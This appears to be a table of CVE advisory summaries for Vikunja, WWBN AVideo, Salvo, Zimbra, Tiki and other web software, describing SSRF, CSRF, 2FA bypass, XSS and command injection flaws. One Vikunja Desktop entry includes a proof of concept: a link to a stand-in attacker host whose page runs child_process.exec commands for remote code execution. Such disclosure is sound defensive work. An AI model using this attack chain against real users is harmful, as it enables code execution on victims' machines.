CVSS v3.1 |
| Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, when the Vikunja API returns tasks, it populates the `related_tasks` field with full task objects for all related tasks without checking whether the requesting user has read permission on those tasks' projects. An authenticated user who can read a task that has cross-project relations will receive full details (title, description, due dates, priority, percent completion, project ID, etc.) of tasks in projects they have no access to. Version 2.2.1 patches the issue. |
| Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, the migration helper functions `DownloadFile` and `DownloadFileWithHeaders` in `pkg/modules/migration/helpers.go` make arbitrary HTTP GET requests without any SSRF protection. When a user triggers a Todoist or Trello migration, file attachment URLs from the third-party API response are passed directly to these functions, allowing an attacker to force the Vikunja server to fetch internal network resources and return the response as a downloadable task attachment. Version 2.2.1 patches the issue. |
| Vikunja is an open-source self-hosted task management platform. Starting in version 0.18.0 and prior to version 2.2.1, when a user account is disabled or locked, the status check is only enforced on the local login and JWT token refresh paths. Three other authentication paths — API tokens, CalDAV basic auth, and OpenID Connect — do not verify user status, allowing disabled or locked users to continue accessing the API and syncing data. Version 2.2.1 patches the issue. |
| WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. As of time of publication, no known patched versions are available. |
| WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated server-side request forgery vulnerability in `plugin/Live/test.php` allows any remote user to make the AVideo server send HTTP requests to arbitrary URLs. This can be used to probe localhost/internal services and, when reachable, access internal HTTP resources or cloud metadata endpoints. Commit 1e6cf03e93b5a5318204b010ea28440b0d9a5ab3 contains a patch. |
| WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `createKeys()` function in the LoginControl plugin's PGP 2FA system generates 512-bit RSA keys, which have been publicly factorable since 1999. An attacker who obtains a target user's public key can factor the 512-bit RSA modulus on commodity hardware in hours, derive the complete private key, and decrypt any PGP 2FA challenge issued by the system — completely bypassing the second authentication factor. Additionally, the `generateKeys.json.php` and `encryptMessage.json.php` endpoints lack any authentication checks, exposing CPU-intensive key generation to anonymous users. Commit 00d979d87f8182095c8150609153a43f834e351e contains a patch. |
| Vikunja is an open-source self-hosted task management platform. Starting in version 1.0.0-rc0 and prior to version 2.2.0, unbounded image decoding and resizing during preview generation lets an attacker exhaust CPU and memory with highly compressed but extremely large-dimension images. Version 2.2.0 patches the issue. |
| Vikunja is an open-source self-hosted task management platform. Starting in version 0.13 and prior to version 2.2.1, any user that has enabled 2FA can have their TOTP reused during the standard 30 second validity window. Version 2.2.1 patches the issue. |
| Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.
## Root cause
Two misconfigurations combine to create this vulnerability:
1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).
2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:
- `<a href="https://...">` links (without `target="_blank"`)
- `window.location` assignments
- HTTP redirects
- `<meta http-equiv="refresh">` tags
## Attack scenario
1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).
2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href="https://evil.example/exploit">Click here for the updated design spec</a>`
3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.
4. The victim uses Vikunja Desktop and clicks the link.
5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.
6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`
7. Arbitrary commands execute as the victim's OS user.
## Impact
Full remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.
## Proof of concept
1. Set up a Vikunja instance with two users sharing a project.
2. As the attacker user, edit a project description to include: `<a href="https://attacker.example/poc.html">Meeting notes</a>`
3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`
4. As the victim, open the project in Vikunja Desktop and click the link.
5. calc.exe (or any other command) executes on the victim's machine.

| Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper passes URLs from `window.open()` calls directly to `shell.openExternal()` without any validation or protocol allowlisting. An attacker who can place a link with `target="_blank"` (or that otherwise triggers `window.open`) in user-generated content can cause the victim's operating system to open arbitrary URI schemes, invoking local applications, opening local files, or triggering custom protocol handlers. Version 2.2.0 patches the issue. |
| Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the renderer process without `contextIsolation` or `sandbox`. This means any cross-site scripting (XSS) vulnerability in the Vikunja web frontend -- present or future -- automatically escalates to full remote code execution on the victim's machine, as injected scripts gain access to Node.js APIs. Version 2.2.0 fixes the issue. |
| Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, a flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement. Version 2.2.0 patches the issue. |
| Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, the Caldav endpoint allows login using Basic Authentication, which in turn allows users to bypass the TOTP on 2FA-enabled accounts. The user can then access standard project information that would normally be protected behind 2FA (if enabled), such as project name, description, etc. Version 2.2.0 patches the issue. |
| Salvo is a Rust web framework. Versions 0.39.0 through 0.89.2 have a Path Traversal and Access Control Bypass vulnerability in the salvo-proxy component. The vulnerability allows an unauthenticated external attacker to bypass proxy routing constraints and access unintended backend paths (e.g., protected endpoints or administrative dashboards). This issue stems from the encode_url_path function, which fails to normalize "../" sequences and inadvertently forwards them verbatim to the upstream server by not re-encoding the "." character. Version 0.89.3 contains a patch. |
| JiZhiCMS v2.5.6 and before contains a Stored Cross-Site Scripting (XSS) vulnerability in the release function within app/home/c/UserController.php. The application attempts to sanitize input by filtering <script> tags but fails to recursively remove dangerous event handlers in other HTML tags (such as onerror in <img> tags). This allows an authenticated remote attacker to inject arbitrary web script or HTML via the body parameter in a POST request to /user/release.html. |
| DedeCMS v5.7.118 was discovered to contain a Cross-Site Request Forgery (CSRF) vulnerability in /sys_task_add.php. |
| Zimbra Collaboration Suite (ZCS) PostJournal service version 8.8.15 contains a command injection vulnerability that allows unauthenticated attackers to execute arbitrary system commands by exploiting improper sanitization of the RCPT TO parameter via SMTP injection. Attackers can inject shell expansion syntax through the RCPT TO parameter to achieve remote code execution under the Zimbra service context. |
| A Cross-Site Scripting (XSS) vulnerability exists in Znuny::ITSM 6.5.x in the customer.pl endpoint via the OTRSCustomerInterface parameter |
| A Reflected Cross-Site Scripting (XSS) vulnerability exists in the POST request data zipPath of tiki-admin_system.php in Tiki version 21.2. This vulnerability allows attackers to execute arbitrary JavaScript code via a crafted payload, leading to potential access to sensitive information or unauthorized actions. |
| A Cross-Site Scripting (XSS) vulnerability exists in the page parameter of tiki-editpage.php in Tiki version 26.3 and earlier. This vulnerability allows attackers to execute arbitrary JavaScript code via a crafted payload, leading to potential access to sensitive information or unauthorized actions. |
